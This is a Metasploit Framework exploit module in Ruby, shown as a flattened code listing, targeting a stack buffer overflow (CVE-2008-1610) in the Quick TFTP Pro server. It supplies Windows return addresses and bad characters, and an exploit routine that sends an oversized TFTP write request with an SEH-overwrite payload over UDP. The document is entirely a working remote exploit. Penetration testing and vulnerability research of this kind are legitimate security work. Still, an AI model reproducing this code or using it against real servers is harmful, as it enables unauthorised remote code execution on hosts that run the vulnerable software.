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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | ## # $Id: quick_tftp_pro_mode.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the Quick TFTP Pro server product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting in a DoS.This is a port of a sploit by Mati "muts" Aharoni. }, 'Author' => 'Saint Patrick', 'Version'=> '$Revision: 9525 $', 'References' => [ ['CVE', '2008-1610'], ['OSVDB', '43784'], ['BID', '28459'], ['URL', 'http://secunia.com/advisories/29494'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 460, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ ['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll ['Windows XP SP2', {'Ret' => 0x74D31458} ], #oledlg.dll ], 'DefaultTarget'=> 1, 'DisclosureDate' => 'Mar 27 2008')) register_options( [ Opt::RPORT(69) ], self.class) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit= "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00" sploit += "A"*1019 seh= generate_seh_payload(target.ret) sploit +=seh sploit += "\x00" udp_sock.put(sploit) print_status("Done.") handler disconnect_udp end end |
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